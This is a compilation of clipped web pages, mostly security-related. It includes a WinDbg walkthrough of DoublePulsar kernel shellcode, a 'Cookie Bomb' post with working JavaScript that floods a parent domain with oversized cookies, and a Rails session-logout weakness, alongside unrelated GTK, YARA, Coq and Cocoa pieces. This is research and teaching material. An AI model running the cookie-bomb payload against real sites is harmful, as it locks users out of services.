>  ed \(esp+8\) @$t17  
>  ed \(esp+c\) @$t16  
>  ed \(esp+10\) @$t15  
>  ed \(esp+14\) @$t14  
>  ed \(esp+18\) @$t13  
>  ed \(esp+1c\) @$t12
> g
After this, windbg should stop at the breakpoint in the offset of the
shellcode that we wanted the thread to start.

## Testing the script with DoublePulsar shellcode

We are going to test the script with a DoublePulsar Shellcode extracted from a
worm/ransom whose name i don’t want to remember.

You can download the shellcode file from here \(rar password: infected\).

The size of the file is 0x3000. I have not reversed the shellcode in depth,
but a good point for starting to debug seems to be the offset 0x221 \(later we
will see why\).

We execute the script and here it is the printed debug traces:

> kd> $$>a<load\_code\_to\_kernel\_memory.wdbg shellcode.bin 3000 221
> Breakpoint 0 hit <\- nt\!NtCreateFile hit
> nt\!ExAllocatePool:  
>  8261e976 8bff mov edi,edi  
>  8261e978 55 push ebp  
>  8261e979 8bec mov ebp,esp  
>  8261e97b 684e6f6e65 push 656E6F4Eh  
>  8261e980 ff750c push dword ptr \[ebp+0Ch\]  
>  8261e983 ff7508 push dword ptr \[ebp+8\]  
>  8261e986 e87a461100 call nt\!ExAllocatePoolWithTag \(82733005\)  
>  8261e98b 5d pop ebp
> 9e867d04 826511ea 00000000 00003000 040bfb54 <\- stack for ExAllocatePool
> allocated mem: 849f4000 <\- allocated memory
> Reading 10000 bytes…… <\- .readmem shellcode
> nt\!PsCreateSystemThread:  
>  8281bfb6 8bff mov edi,edi  
>  8281bfb8 55 push ebp  
>  8281bfb9 8bec mov ebp,esp  
>  8281bfbb 83e4f8 and esp,0FFFFFFF8h  
>  8281bfbe 83ec34 sub esp,34h  
>  8281bfc1 a148da7382 mov eax,dword ptr \[nt\!\_\_security\_cookie
> \(8273da48\)\]  
>  8281bfc6 33c4 xor eax,esp  
>  8281bfc8 89442430 mov dword ptr \[esp+30h\],eax
> 9e867d04 826511ea 9e867d20 00000000 00000000 <\- stack for
> PsCreateSystemThread  
>  9e867d14 00000000 00000000 849f4221 00000000  
>  9e867d24 00000001 00000060 00000000 00000000
> Breakpoint 0 hit <\- shellcode hit
> 849f4221 b923000000 mov ecx,23h  
>  0: kd> u eip  
>  849f4221 b923000000 mov ecx,23h  
>  849f4226 6a30 push 30h  
>  849f4228 0fa1 pop fs  
>  849f422a 8ed9 mov ds,cx  
>  849f422c 8ec1 mov es,cx  
>  849f422e 648b0d40000000 mov ecx,dword ptr fs:\[40h\]  
>  849f4235 8b6104 mov esp,dword ptr \[ecx+4\]  
>  849f4238 ff35fcffdfff push dword ptr ds:\[0FFDFFFFCh\]
###

### SYSENTER\_EIP HOOK

We can see the new created thread is stopped at the point of the shellcode
that we have specified:

At offset 0x20B we can see a function of the shellcode that is hooking
sysenter\_eip.

We can see the shellcode is using the address 0xFFDFFFFC to store
MSR\[0x176\]. You can execute:

1: kd> dt nt\!\_kuser\_shared\_data ffdf0000

Nt\!\_kuser\_shared\_data structure is located at ffdf0000, so i guess the
shellcode is using the free space in the page of Nt\!\_kuser\_shared\_data
after this structure to store the temporal value that it needs.

Here you can read about hooking system calls through MSR \(very interesting\):

http://resources.infosecinstitute.com/hooking-system-calls-msrs

So the offset 0x221 is the hook for sysenter\_eip, for this reason i think it
is a good point to debug from here.

Let’s continue reversing the code of sysenter\_eip hook:

In kernel-land, at fs:\[0\] we have the \_KPCR structure. We can see how the
shellcode gets some values that it needs from this structure and other
structures pointed from here.

  * fs:0x40 -> \_KTSS
  * \_KTSS + 4 -> Esp0 \(correct Esp for continue executing in kernel\)
  * nt\!kuser\_shared\_data+0x304 -> SystemCallReturn
  * \_KPCR + 0x1C -> SelfPcr \(\_KPCR\)
  * SelfPcr + 0x120 -> PrcbData \(\_KPRCB\)
  * PrcbData+0x4 -> CurrentThread \(\_KTHREAD\)
  * CurrentThread+0x28 -> InitialStack

After all these initializations, it calls the main code of the hook, but
before, it restores the MSR\[176\] \(SYSENTER\_EIP\). It already has a thread
from user mode, and probably it is enought for its purposes.

### SHELLCODE MAIN CODE

I have not debugged very in depth the shellcode, but we will see the first
part of the shellcode main code executed from the sysenter\_eip the hook:

We can see how the shellcode is taking a pointer of the IDT to have a address
into ntoskrnl.exe. In this way it can find the base of ntoskrnl.exe going back
in the memory space until finding the PE header.

After that, it gets by CRC some APIs that it needs: ExAllocatePool,
ExFreePool, ZwQuerySystemInformation.

Later, it uses ZwQuerySystemInformation to list all loaded modules, searching
for kdcom.dll \(antidebug trick?\) and specially srv.sys:

When it finds srv.sys, it walks the PE sections of the module, trying to find
something into the data.

This shellcode works with an SMB exploit. From my point of view now it is
trying to find other parts of the data that the exploit sent \(probably a PE
to load\).

###

### Conclusions

I have not continued debugging the shellcode, because this was only to test
the script and show how to debug a shellcode without needing to execute the
full exploit \(there is a lot of information about DoublePulsar on internet,
for example: https://zerosum0x0.blogspot.com.es/2017/04/doublepulsar-initial-
smb-backdoor-ring.html\)

Sometimes it is much faster to load the shellcode and debug than installing a
vulnerabile machine, executing the exploit, etc…

I hope the script and the article help you in your reversing sessions 🙂

Categories: Bugs, Hacking, Malware, Windbg

Leave a Comment

  

# jlarimer/android-stuff - GitHub

**Created:**| _5/10/2011 4:03:08 PM_  
---|---  
**Updated:**| _5/10/2011 4:03:08 PM_  
**Author:**| __  
**Tags:**| _reversing android_  
  

**android-stuff** /

| name| age|  history message  
---|---|---|---  
<img src='img/Temp2_10417.png' width='16' height='16' alt='file' /> |  DEXTemplate.bt|  about an hour ago |  DEX template for 010 hex editor \[jlarimer\]   
<img src='img/Temp2_10417.png' width='16' height='16' alt='file' /> |  README|  about an hour ago |  adding smali.vim \[jlarimer\]   
<img src='img/Temp2_10417.png' width='16' height='16' alt='file' /> |  smali.vim|  about an hour ago |  adding smali.vim \[jlarimer\]   
  
  

README

[code]

    This is a repository for random scripts and files that I use for Android reversing.
    
    Files:
    
    DEXTemplate.bt - a DEX file parsing template for the 010 hex editor (http://www.sweetscape.com/010editor)
    smali.vim - VIM syntax highlighting for smali files
[/code]

# Test wiki / wk

**Created:**| _5/1/2011 10:00:42 AM_  
---|---  
**Updated:**| _5/1/2011 10:00:42 AM_  
**Author:**| __  
**Tags:**| _GUI_  
  

# Portable GTK

  
  
GTK+ is a Free and portable widget toolkit written in C with support for
bindings in lot of scripting languages.  
  
GTK+ is based on GLib, GObject and other technologies, which are high level
abstractions on top of C to provide data serialization, object models,
introspection, threads, signalling and many other goods in a clean and
portable way.  
  
The complexity to use GObject libraries in C can be simplified by using Vala
\( http://vala-project.org \) and on top of Vala there's a project named
GtkAML which provides a container-oriented description programming that
simplifies even more the design and development of applications using Gtk+.  
  
GTK+ is a toolkit used mostly on OpenSource operating systems. This is
probably a good thing.. unless you are trying to distribute binaries of your
program you end up with these problems:  
  
\* The ABI changes between big version number changes of the libraries.  
\* You end up packaging all the gtk,png|jpeg,pango,glib,x11 dependencies.  
\* You create a shellscript that depending on the uname and lsb\_release or
etc/issue you load some or other libraries  
\* GTK themes are not always respected in this situation  
\* Some proprietary graphics drivers are linked to X libraries, so you can't
distribute them  
\* Your binary package size has grown to 40 or 50MB when your application is
just 400KB  
\* \(place here your problems\)  
  
Actually, GTK+-2.0 is stable and the development happens in GTK+-3.0, so most
of those problems will be just fixed by having an up-to-date system and using
old enought libraries when building your application.  
  
\* In my experience, using the older LTS Ubuntu is a good option, so GNOME
libraries have some sort of backward compatibility, and applications compiled
against old \(not ancient\) versions of GTK will continue working on future
libs.  
  
Many proprietary projects switched to QT because of those problems, they
provide a good commercial support.. but personally I prefer GTK, C and a
community based development.  
  
After many experiments and projects I end up having an almost simple
environment for building portable binary GTK applications for Linux \(BSD
should be the same\), Windows and OSX.  
  
The good point of OSX and Windows is that they have more stable ABI \(binary
compatibility\), so you don't have to care about different versions of OSX of
different versions of Windows... In Linux, every distro can have their own
drivers hacking X11 libs, different system libraries, etc... which tends to be
problematic for distributing binary apps.  
  

## Vala/GtkON

  
When crosscompiling, is better to use Vala and GtkAML compilers natively. As
long as they generate C code, you can use them from your own system
installation. Only CC environment must be changed in order to specify the
mingw32, ARM or whatever crosscompiler.  
  
http://vala-project.org  
  
http://code.google.com/p/gtkaml/  
  

## Windows

  
The easiest way to compile for Windows is to use mingw32 from any POSIX
friendly OS \(GNU/Linux, ..\)  
  
Linux and \*BSD have faster implementations of fork\(\) than Windows. This
results in pretty slow compilation times on this system. This is where mingw32
and crosscompilation enters the scene.  
  
I took the Iki's w32 blobs for gtk,png,jpeg,glib,... and prepare a single
tarball with an example Vala program and a Makefile as an example:  
  
http://nopcode.org/p/b/w32gtk-2.20.tar.gz  
  
To distribute your application just package your exe with all the required
.dll files. Windows will find the library dependencies in the current
directory.  
  

## OSX

  
To compile standalone GTK applications on OSX you need to install the GTK+
from ports.  
  
By using the following lines, you'll get a Quartz based GTK+-2.0.  
  
Good things about gtk-quartz:  
\- Startup is faster  
\- Application is integrated in OSX  
\- Not depending on compile-time X11 libraries  
\- Less dependencies result in smaller .dmg  
  
The bad things:  
\- Some glitches \(missing redraws of damaged areas\) appear sometimes.  
  
To compile gtk on quartz follow this steps:  
  
| \# port install cairo +quartz+no\_x11  
\# port install pango +quartz+no\_x11  
\# port install gtk2 +quartz+no\_x11  
  
---  
  
  
At the moment of writing this tutorial Gtk3 is already packaged but IMHO is
still not stable enought on OSX, so i'll write my experiences with gtk3 on osx
and w32.  
  
Once you get the libraries installed in /opt/local with the ports system you
need to create the structure of your .app which looks like this:  
  
  
YourApp.app/  
Contents/  
Info.plist  
PkgInfo  
Resources/  
YourApp.icns  
bin/  
lib/  
...  
MacOS/  
YourApp\*  
  
---  
  
  
The PkgInfo file just contains a string. feel free to put whatever you like or
copy it from somewhere else.  
  
The Info.plist is an XML that points to the binary name, mimetypes supported,
icon, package description and other stuff. Mine looks like this:  
  
<?xml version="1.0" encoding="UTF-8"?>  
<\!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">  
<plist version="1.0">  
<dict>  
<key>CFBundleDevelopmentRegion</key>  
<string>English</string>  
<key>CFBundleExecutable</key>  
<string>Ragui</string>  
<key>CFBundleIconFile</key>  
<string>Ragui.icns</string>  
<key>CFBundleIdentifier</key>  
<string>org.radare.Ragui</string>  
<key>CFBundleInfoDictionaryVersion</key>  
<string>6.0</string>  
<key>CFBundleName</key>  
<string>Ragui</string>  
<key>CFBundlePackageType</key>  
<string>APPL</string>  
<key>CFBundleShortVersionString</key>  
<string>0.1</string>  
<key>CFBundleSignature</key>  
<string>Ragui</string>  
<key>CFBundleVersion</key>  
<string>0.1</string>  
<key>NSHumanReadableCopyright</key>  
<string>© 2011 The LockLabs Team</string>  
</dict>  
</plist>  
  
---  
  
  
The shellscript that setups the environment to get the libraries from the
Resources directory looks like this:  
  
\#\!/bin/sh  
R2DIR=$\(dirname "$0"\)/..  
export DYLD\_LIBRARY\_PATH="$\{R2DIR\}/lib"  
exec $\{R2DIR\}/bin/ragui.bin  
  
---  
  
  
You can get a copy of this dmg here:  
  
http://lolcathost.org/b/ragui-0.1b.dmg  
  
Now you need to copy the libraries from /opt/local to your .app package.. so I
wrote this makefile target  
  
  
BIN=YourProgram  
BINDIST=bindist  
copyosxlibs:  
for a in \`otool -L src/YourProgram | grep -v libr|grep -v :| awk '\{print $$1\}'| grep -v System\` ; do \   
cp $$a $\{BINDIST\}/lib ; \  
done  
cp /opt/local/bin/pango-querymodules $\{BINDIST\}/bin  
cp /opt/local/lib/libiconv.2.dylib $\{BINDIST\}/lib  
cp /opt/local/lib/libpixman-1.0.dylib $\{BINDIST\}/lib  
mkdir -p $\{BINDIST\}/lib/pango/$\{PANGOVERSION\}/modules  
cp /opt/local/lib/pango/$\{PANGOVERSION\}/modules/\*.so \  
$\{BINDIST\}/lib/pango/$\{PANGOVERSION\}/modules  
  
---  
  
  
To create the DMG just use the \[b\]hdiutil\[/b\] program:  
  
$ hdiutil create -fs HFS+ -srcfolder YourProgram.app -volname YourProgram.app
YourProgram.dmg  
  
---  
  
  
To create the icon for your application you need to create a 128x128 PNG image
and use the \[b\]FastIcns\[/b\] application to create a .icns file.  
  
Place your .icns file inside the Resources directory and then just reference
your .icns file in the PkgInfo XML like this:  
  
<key>CFBundleIconFile</key>  
<string>Ragui.icns</string>  
  
---  
  
  
At some point I will write a set of scripts to do all this job automatically..
but until then.. just hack it up in your own way :\)  
  

## Setting up fonts

  
  
If your GTK app is rendering rectangles instead of fonts you will have to
setup the pango modules. To do this in a position-independent way.. you have
to create a startup script that setups LD\_LIBRARY\_PATH \(linux,bsd\) or
DYLD\_LIBRARY\_PATH \(osx\) and run the following script:  
  
$ export TMPDIR=$\(mkstemp\)  
$ pango-querymodules $TMPDIR/lib/pango/1.6.0/modules/\*.so > pango.modules  
$ printf "\[Pango\]\nModuleFiles=$TMPDIR/etc/pango.rc  
  
---  
  
  
In order to run your application just setup the PANGO\_RC\_FILE environment
variable:  
  
PANGO\_RC\_FILE=$\{TMPDIR\}/pango.rc  
  
---  
  
  

## Configure the theme

  
TODO  
  
$ cat .gtkrc-2.0.mine  
style "font" \{  
font\_name = "Verdana 12"  
\}  
  
widget\_class "\*" style "font"  
gtk-font-name = "Verdana 12"  
  
---  
  
\--pancake

# BinaryAlert: Real-time Serverless Malware Detection

**Created:**| _9/4/2017 9:42:24 AM_  
---|---  
**Updated:**| _9/4/2017 9:42:24 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# BinaryAlert: Real-time Serverless Malware Detection

<img src='img/Temp2_1031.png' width='62' height='75' /><img
src='img/1*eZ2XwbgCVYjMzJx3HDUgpg.png' width='240' height='290' />

Today, Airbnb is proud to announce the open-source release of BinaryAlert: a
serverless, real-time framework for detecting malicious files. BinaryAlert can
efficiently analyze millions of files a day with a configurable set of YARA
rules and will trigger an alert as soon as anything malicious is discovered\!
Organizations can deploy BinaryAlert to their private AWS account in a matter
of minutes, allowing them to analyze internal files and documents within the
confines of their own environment.

* * *
...

### Example Use Cases

  * •**Enterprise alerting:** Find malware infections on laptops and servers by analyzing executable binaries.
  * •**Email attachments:** Identify malicious documents sent to your organization.
  * •**User uploads:** Detect when a user uploads a malicious file to your application.
  * •**Security research:** Quickly test new iterations of YARA rules against your own private collections of files using built-in retroactive analysis.

### Leveraging YARA Rules

YARA is a powerful pattern-matching tool for binary analysis. Unlike a simple
hash-based signature, YARA rules can classify entire families of malware
according to common patterns. As YARA sees more widespread use within the
security community, we wanted to find a way to leverage YARA rules to scan for
malicious files across our entire organization.

Other security tools support YARA rule integration, but we could not find a
private, low-cost, scalable, batteries-included solution that was easy to
deploy and maintain. For example, VirusTotal supports YARA rule matching
against file submissions, but it is a public service and not designed for
analyzing internal files and documents with varying levels of confidentiality
and sensitivity.

BinaryAlert is our solution: a serverless framework for scalable YARA analysis
that you can deploy in your own AWS account cheaply and easily\!

### BinaryAlert Features

#### Real-time

Time is of the essence when responding to a threat, so BinaryAlert analyzes
files almost immediately after being uploaded. In our deployment, analysis is
usually completed within 1–2 minutes of file discovery.

#### Retroactive Analysis

When the YARA ruleset is updated, BinaryAlert will automatically re-analyze
your entire file corpus to find any new matches. This allows you to identify
threats in the past with information you receive in the future, and it
provides an easy mechanism for testing the efficacy of new rules.

#### YARA Rules Included

BinaryAlert includes several of our own YARA rules and also makes it easy to
clone rules from other open-source projects like YaraRules. Each included rule
has been tested against more than 2 million executable binaries from Airbnb’s
environment to verify its effectiveness.

#### Serverless Design

Like StreamAlert, BinaryAlert utilizes AWS Lambda functions for analysis
instead of a traditional server. This provides a number of benefits, including
stronger security \(no servers to patch or maintain\) and lower cost \(pay
only for what you use\).

#### Infrastructure-as-Code

Again following StreamAlert’s example, BinaryAlert uses Terraform to manage
its underlying infrastructure. This considerably simplifies the deployment
process: a single command creates and configures all of the necessary AWS
components. Deployments are simple, safe, and repeatable.

#### Metrics and Monitoring

BinaryAlert uploads custom metrics about its processing throughput and
automatically creates CloudWatch alarms to monitor the health of your
deployment. Alarm thresholds are easily configurable to accommodate different
workloads.

### Architecture

#### AWS Services

BinaryAlert utilizes several different AWS services:

  * •**AWS CloudWatch:** Stores logs and metrics and monitors service health.
  * •**AWS DynamoDB:** Stores YARA match information.
  * •**AWS IAM:** Manages permissions with role-based access control.
  * •**AWS Lambda:** Executes serverless computation \(e.g. YARA analysis\).
  * •**AWS S3:** Stores files uploaded to BinaryAlert for analysis.
  * •**AWS SNS:** Sends notifications for YARA matches and CloudWatch alerts.
  * •**AWS SQS:** Provides a queue to keep track of files awaiting analysis.

Fortunately, Terraform automatically configures all of these services so you
don’t have to\!

#### Analysis Flow

<img src='img/Temp2_1032.png' width='75' height='42' /><img
src='img/1*V_km37Lo5TpljDq6hGuu3A.png' width='700' height='398' />

  1. 1The organization collects files and delivers them to their BinaryAlert S3 bucket. Files of interest could include executable binaries, email attachments, documents, etc.
  2. 2Every file uploaded to the S3 bucket is immediately queued for analysis.
  3. 3A dispatching Lambda function runs every minute, grouping files into batches and invoking up to dozens of analyzers in parallel.
  4. 4Each analyzer scans its files using a list of pre-compiled YARA rules.
  5. 5YARA matches are saved to DynamoDB and an alert is sent to an SNS topic. We use StreamAlert to dispatch these alerts, but other organizations can instead consume the alerts via email or any other supported SNS subscription.
  6. 6For retroactive analysis, a batching Lambda function enqueues the entire S3 bucket to be re-analyzed.
  7. 7Configurable CloudWatch alarms will trigger if any BinaryAlert component is behaving abnormally. This will notify a different SNS topic than the one used for YARA match alerts.

### Future Work

A future version of BinaryAlert will add support for file pre-processing,
including decompressing and unpacking, prior to the YARA analysis. We can
leverage AWS Step Functions to better orchestrate the different stages of the
pipeline.

Airbnb is also committed to supporting the YARA community. We will continue to
contribute our own YARA rules as well as to source, test, and provide feedback
on rules from other open-source projects.

### Concluding Thoughts

Serverless architectures have proven effective for security tools due to the
lower cost, simpler management, and scalability associated with serverless
designs. BinaryAlert represents our next contribution in the open-source
serverless security space, allowing others to more quickly and easily detect
malicious files within their own organization.

Visit github.com/airbnb/binaryalert to get started\!

Security Team @ Airbnb

* * *
...

### Contributors

BinaryAlert is brought to you by:

  * •austinbyers \(architect and developer\)
  * •mime-frame \(concept, design and code review, YARA rules\)
  * •fusionrace \(YARA rules\)
  * •ryandeivert, jacknagz, and chunyong-lin \(code review\)

  

# Egor Homakov: Cookie Bomb or let's break the Internet.

**Created:**| _1/19/2014 11:00:50 AM_  
---|---  
**Updated:**| _1/19/2014 11:00:50 AM_  
**Author:**| __  
**Tags:**| _web-app-sec cookies_  
  

# **C** ookie Bomb or let's break the Internet.

##  TL;DR I can craft a page "polluting" CDNs, blogging platforms and other
major networks with my cookies**.** Your browser will keep sending those
cookies and servers will reject the requests, because Cookie header will be
very long**.** The entire Internet will look down to you. **** ;

I have no idea if it's a known trick, but I believe it should be fixed**.**
Severity: depends. I checked only with Chrome.  
  
We all know a cookie can only contain 4k of data**.**

How many cookies can I creates? **Many****\!**

What cookies is browser going to send with every request**?** **All of
them**\!

How do servers usually react if the request is too long**?** **They don't
respond, like this** :

<img src='img/Temp2_2546.png' />

If you're able to execute your own JS on SUB1.example.com it can cookie-bomb
not only your SUB1 but the entire \*.example.com network, including
example.com**.**

> var base\_domain = document.domain.substr\(document.domain.indexOf\('**.**
> '\)\);  
>  var pollution = Array\(4000\).join\('a'\);  
>  if\(confirm\('Should I Cookie Bomb '+base\_domain+'**?** '\)\)\{  
>  for\(var i=1;i<99;i++\)\{  
>  document.cookie='bomb'+i+'='+pollution+';Domain='+base\_domain;  
>  \}  
>  \}
Just set lots of 4k long cookies with Domain=.example.com so they will be sent
with **every request** to \*.example.com**.**  
All requests will be ignored, because servers never process such long requests
\(the "Cookie" header will be like half a megabyte\)**.**  
  
Victim is sad and crying. No more blogspot**.** No more github.io. Such sad
user. Not wow**.**  
  
It will last until the user realizes he needs to delete his cookies**.** Not
all human beings are that smart though**.**  
  
Who can be cookie-bombed?

  1. Blogging/hosting/website/homepage platforms: Wordpress, Blogspot, Tumblr, Heroku, etc**.** Anything having <username>.example.com with your JS**.**   
You don't need government to ban blog platforms anymore - use cookie bomb**.**
\(**Joke**\)

  2. Subdomains serving your HTMLs, even if they're created for user input you can cookie-bomb entire network and "poison" other subdomains with it: Dropbox, Github**.** io
  3. Content Delivery Networks. Ouch\! You can poison \*.CDN\_HOST.com and break scripts/CSS on all websites using this CDN**.**
  4. System sandbox domains like GoogleUserContent.com**.** When I poison it - Google Translate, GMail attachments, Blogspot images - entire Google ecosystem goes crazy**.**
  5. Use it along with other attacks \(XSS, Header injection, HTTP:// cookie forcing\)

###  Proofs of Concept****

Google user content

Github**.** io

Blogspot.com

**Tip for hackers:** you can "block" some exact path by specifying
;path=/some\_path in the cookie bombs attributes**.** Your personal
censorship\!

**Tip for browsers** : limit amount of cookies on .example.com or send only
sane number of them, but i'm not sure it's a pragmatic way**.**  
**Tip for admins** : instead of sub1.example.com use sandbox.sub1.example.com,
which will limit impact of the cookie bomb to .sub1.example.com zone**.**  
**Tip for users** : if you was cookie-bombed remove "bombs" here:

<img src='img/Temp2_2547.png' />

****

# Logout is broken by default in Ruby on Rails Web applications | MaverickBlogging
**Created:**| _10/14/2013 11:59:25 AM_  
---|---  
**Updated:**| _10/14/2013 11:59:25 AM_  
**Author:**| __  
**Tags:**| _web-app-sec ruby_  
  

# **L** ogout is broken by default in Ruby on Rails Web applications****

> UPDATE: This issue has received press coverage and made it into the Open
> Sourced Vulnerability Database \(OSVDB\) available at
> http://osvdb.org/show/osvdb/97726 **.** I will follow up on this post with
> more technical details as well as my research results from studying this
> issue in the wild**.**
**Ruby on Rails Web applications versions 2**.** 0 through 4**.** 0 are by
default vulnerable to an oft-overlooked Web application security issue:
Session cookies are valid for life**.** \* The fix is to configure your Rails
app to store most session information on the server side in the
database**.****

## Background****

The default Rails session storage mechanism is the CookieStore , which holds
the entire user session hash on the client side in the Web browser as a
cookie**.** In this configuration there is no entry in a “sessions” database
table for your Rails app to delete upon logout**.**

My concern is more than just current session hijacking via Firesheep  or
similar; **a malicious user could use the stolen cookie from any authenticated
request by the user to log in as them at any point in the future****.**

When a user logs out what happens is not what you would expect**.** Again, no
entry in a “sessions” table exists to delete**.** Instead, Rails will issue a
new, empty-ish cookie to the user’s browser in order to overwrite the one
granted when the user originally authenticated, and instruct the Web browser
to use this newest one from this point forth**.** This relies on good browser
behavior. But remember, the previous cookie is still valid**.** There is no
way to invalidate these old cookies upon sign out with the default Rails
configuration**.** In addition to network snooping \(session sidejacking\) and
XSS, this presents a problem for users accessing your site via a shared or
public computer, or perhaps over a faulty network connection that might drop
the very last HTTP response requesting that the user’s browser overwrite the
stored authenticated cookie**.** Also, when your users forget to logout, they
will not be able to log themselves out of that living session from a different
computer, and anyone who discovers the stored cookie can use it
indefinitely**.**

The default cookie name is:

`“your_app_session”`

And before Base64 encoding and URL encoding, the cookie value may look
something like this with actual values for “\[String\]”:

`{
I"session_id:EF"%[String]I"_csrf_token;FI"1[String]=;FI"user_credentials;FI"[String];TI"user_credentials_id;Fi`

While Rails 4 switched to encrypting the value of the cookie , doing so does
not eliminate this issue**.**

Separately, it is a good design for your Web app to require that the user
supply their current password before changing sensitive fields such as
password or email address**.** If the CookieStore-stored session were to be
hijacked, the malicious user could change the user’s password: 1\) immediately
invalidating the legitimate user’s cookie and thus slamming your app’s doors
in their face and 2\) disallowing the legitimate user the ability to log back
into their account**.**

_A note about a red herring: if you use the Authlogic gem you may notice a
field called “persistence\_token” in your users table and believe that you are
already using server-side storage for most of your session data**.** In my
testing of the default CookieStore configuration, the field did not appear to
serve a purpose**.**_

## Remediation****

Switch to ActiveRecordStore  or something else from this list**.** Switching
away from CookieStore is said to be slower**.** After switching, the cookie
will contain a value for “session\_id” which corresponds to an entry in your
database’s sessions table**.** You will need to keep in mind replicating
session data across multiple databases if you have more than one active behind
a load balancer**.**

**Happy hacking\! Email me with questions:Main@GSMcNamara.com **

_\*In my testing, the only methods to invalidate these cookies are for the
user to change their password or for systems administrators to change the
application secret**.** Both are infrequent occurrences._

* * *
  
  
****

# Announcing Ssreflect version 1.2 | The Coq Proof Assistant
**Created:**| _9/8/2013 5:01:37 PM_  
---|---  
**Updated:**| _9/8/2013 5:01:37 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification secure coding_  
  

# **A** nnouncing Ssreflect version 1.2****

The Mathematical Components Team, at the Microsoft Research-Inria Joint Center
released a new version of Ssreflect, an powerful extension for Coq**.** For
more information, read the official announcement:

«  
We are pleased to announce the new release of the Ssreflect  
extension library for the Coq proof assistant, version  
8**.** 2/8.2pl1. This release includes:  
\- an update of the tactic language which complies with the new version  
of Coq;  
\- an update of the combinatoric libraries distributed in the previous  
release of ssreflect;  
\- a new set of libraries for abstract algebra**.**

The name Ssreflect stands for "small scale reflection", a style of  
proof that evolved from the computer-checked proof of the Four Colour  
Theorem and which leverages the higher-order nature of Coq's  
underlying logic to provide effective automation for many small,  
clerical proof steps**.** This is often accomplished by restating  
\("reflecting"\) problems in a more concrete form, hence the name**.** For  
example, in the Ssreflect library arithmetic comparison is not an  
abstract predicate, but a function computing a boolean**.**

Along with documentation, also available at  
http://hal.inria**.** fr/inria-00258384  the Ssreflect distribution  
comprises two parts:  
\- A new tactic language, which promotes more structured, concise and  
robust proof scripts, and is in fact independent from the "reflection"  
proof style**.** It is implemented as a linkable extension to the Coq  
system**.**  
\- A set of Coq libraries that provide core "reflection-oriented"  
theories for  
\+ basic combinatorics: arithmetic, lists, graphs, and finite sets**.**  
\+ abstract algebra: an algebraic hierarchy from  
additive groups to closed fields, polynomials, matrix,  
basic finite group theory, infrastructure for finite summations,..**.**\)

Some features of the tactic language:  
\- It provides tacticals for most structural steps \(e**.** g**.** , moving  
assumptions\), so that script steps mostly match logical steps**.**  
\- It provides tactics and tatical to support structured layout,  
including reordering subgoals and supporting "without loss of  
generality" arguments**.**  
\- It provides a powerful rewriting tactic that supports chained  
rules, automatic unfolding of definitions and conditional rewriting,  
as well as precise control over where and how much rewriting occurs**.**  
\- It can be used in combination with the classic Coq tactic language**.**

Some features of the library:  
\- Exploits advanced features of Coq such as coercions and canonical  
projections to build generic theories \(e**.** g**.** , for decidable
equality\).  
\- Uses rewrite rules and dependent predicate families to state  
lemmas that can be applied deeply and bidirectionally**.** This means  
fewer structural steps and a smaller library, respectively**.**  
\- Uses boolean functions to represent sets \(i**.** e., comprehensions\),  
rather than an ad hoc set algebra**.**

The Ssreflect 1.2 distribution is available at  
http://www.msr-inria.inria**.** fr/Projects/math-components  
It is distributed under either one \(your choice\) of the CeCILL-B or CeCILL  
version 2 licences \(the French equivalent of the BSD and GNU GPL licenses,  
respectively\)**.**

The tactic language is quite stable; we have been using it  
internally for three years essentially without change**.** We will support  
new releases of Coq in due course**.** We also plan to extend the core  
library as our more advanced work on general and linear algebra  
progresses**.**

Comments and bug reports are of course most welcome, and can be  
directed at ssreflect\(at-sign\)msr-inria.inria**.** fr. To subscribe, either  
send an email to sympa@msr-inria.inria**.** fr , whose title contains the  
word ssreflect, or use the following web interface:  
https://www.msr-inria.inria**.** fr/sympa

Enjoy\!

The Mathematical Components Team, at the Microsoft Research-Inria  
Joint Center  
»

****

# Ubigraph: Free dynamic graph visualization software

**Created:**| _4/13/2011 8:30:19 AM_  
---|---  
**Updated:**| _4/13/2011 8:30:19 AM_  
**Author:**| __  
**Tags:**| _bookmark Graphs programming prototyping_  
  

If you're familiar with Python, a good place to start is
`examples/Python/ubigraph_example.py`. This example illustrates the higher-
level API for ubigraph in Python:

<img src='img/ubigraph_py.png' />

[code]

    import ubigraph
    
    U = ubigraph.Ubigraph()
    U.clear()
    
    x = U.newVertex(shape="sphere", color="#ffff00")
      
    smallRed = U.newVertexStyle(shape="sphere", color="#ff0000", size="0.2")
      
    previous_r = None
    for i in range(0,10):
      r = U.newVertex(style=smallRed, label=str(i))
      U.newEdge(x,r,arrow=True)
      if previous_r != None:
        U.newEdge(r,previous_r,spline=True,stroke="dashed")  
      previous_r = r
    
[/code]

# CocoaReverseEngineering - Wikir

**Created:**| _9/3/2009 9:49:44 AM_  
---|---  
**Updated:**| _9/18/2009 10:31:46 AM_  
**Author:**| __  
**Tags:**| _bookmark Debugging cocoa reversing Mac-hacking_  
  

  1. Armchair Guide To Cocoa Reverse Engineering
  2. The Basics
  3. Choose Your Target
  4. Tools of the Trade
  5. The Middle Part
  6. Patching Code
    1. Posing
    2. Method Swizzling
  7. Building Your Patch
    1. Why Use SIMBL?
    2. Creating A SIMBL Plugin Bundle
  8. Common Pitfalls
    1. Software Updates
    2. Symbol Conflicts
  9. Responsible Patching
  10. What Now?

## 1\. Armchair Guide To Cocoa Reverse Engineering

I've authored a few plugins that integrate with existing applications. About
as often as I get asked for the source, I get asked how I figured it all out.

It's not rocket science - it's more like archaeology. Basically, start
somewhere, chip away slowly and make a series of progressively more informed
decisions. Obviously that's a pretty gross simplification of the process, but
there's no black art - you just need a few hints. That's basically the purpose
of this document - to get you started. I'm doing this as a wiki page because I
envision that there is going to be the need for additional clarification and
comments.

## 2\. The Basics

You should know something about Cocoa and Objective-C, since pretty much
everything I'm going to talk about relates to it somehow. You need not be
expert by any means, my first use of ProjectBuilder/Cocoa/Objective-C was to
hack symbol completion into ProjectBuilder. I learned Cocoa/Objective-C,
hacking and reversing pretty much simultaneously.

If you know to use XCode/ProjectBuilder to build a bundle and load it, you are
well equipped. Even if you don't, be adventurous and read on.

## 3\. Choose Your Target

So, let's say you want to hack the Terminal.app so you can change the ANSI
text colors. Good choice. Now you've got to figure out how - but without
source. Fear not, citizen, there is so much metadata embedded in compiled
Objective-C that you can recreate the internal structure of the code quite
easily. But you need tools to do so.

## 4\. Tools of the Trade

